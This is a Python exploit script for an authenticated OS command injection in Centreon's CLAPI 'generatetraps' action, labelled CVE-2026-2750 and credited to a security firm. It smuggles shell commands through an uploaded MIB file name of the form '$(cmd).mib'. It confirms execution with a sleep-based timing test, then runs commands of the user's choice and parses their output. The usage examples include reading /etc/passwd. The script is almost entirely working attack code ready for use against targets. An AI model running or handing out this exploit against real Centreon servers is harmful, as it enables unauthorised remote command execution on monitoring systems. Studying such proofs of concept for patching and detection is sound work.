#!/usr/bin/env python3 import sys, time, re, tempfile, os, argparse, requests requests.packages.urllib3.disable_warnings() BANNER = """ ╔════════════════════════════════════════════╗ ║ Centreon CMDi via CLAPI generatetraps ║ ║ CVE-2026-2750 ║ ║ Centreon <= 25.10.6 ║ ║ https://hakaisecurity.io ║ ╚════════════════════════════════════════════╝ """ def get_session(url, cookie, proxy=None): s = requests.Session() s.cookies.set("PHPSESSID", cookie) s.verify = False if proxy: s.proxies = {"http": proxy, "https": proxy} return s def upload_mib(s, upload_url, filename, uid="rce"): tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".mib", mode="w") tmp.write("-- dummy\nX DEFINITIONS ::= BEGIN\nEND\n") tmp.close() with open(tmp.name, "rb") as f: s.post(f"{upload_url}?action=upload-file&uniqId={uid}", files={"file": (filename, f, "application/octet-stream")}) os.unlink(tmp.name) return f"/tmp/opentickets/{uid}__{filename}" def clapi_gen(s, clapi_url, path): return s.post(clapi_url, json={ "action": "generatetraps", "object": "VENDOR", "values": f"Cisco;{path}" }).text def main(): print(BANNER) parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description="OS Command Injection via CLAPI generatetraps passthru()", epilog="""examples: %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "id" %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "cat /etc/passwd" %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "whoami; pwd" """ ) parser.add_argument("--url", required=True, help="base Centreon URL (e.g. http://target/centreon)") parser.add_argument("--cookie", required=True, help="PHPSESSID session cookie value") parser.add_argument("--cmd", default="id", help="shell command to execute (default: id)") parser.add_argument("--proxy", metavar="URL", help="HTTP proxy (e.g. http://127.0.0.1:8080)") args = parser.parse_args() url = args.url.rstrip("/") s = get_session(url, args.cookie, args.proxy) upload_url = f"{url}/modules/centreon-open-tickets/views/rules/ajax/call.php" clapi_url = f"{url}/api/internal.php?object=centreon_clapi&action=action" # Time-based proof print("[1] Testing with $(sleep 1)...") t = time.time() clapi_gen(s, clapi_url, upload_mib(s, upload_url, "$(sleep 1).mib", "t")) elapsed = time.time() - t if elapsed > 1.5: print(f" {elapsed:.1f}s — RCE CONFIRMED\n") else: print(f" {elapsed:.1f}s — no delay, exploit may have failed") sys.exit(1) # Execute command print(f"[2] Executing: {args.cmd}") resp = clapi_gen(s, clapi_url, upload_mib(s, upload_url, f"$({args.cmd}).mib", "r")) m = re.search(r'r__(.+?)(?:\.mib(?:\.conf)?)?["\\}]', resp) if m: out = m.group(1) for sfx in ['.mib.conf', '.mib']: out = out.removesuffix(sfx) print(f" {out}") else: print(" [-] Could not extract output from response") if __name__ == "__main__": main()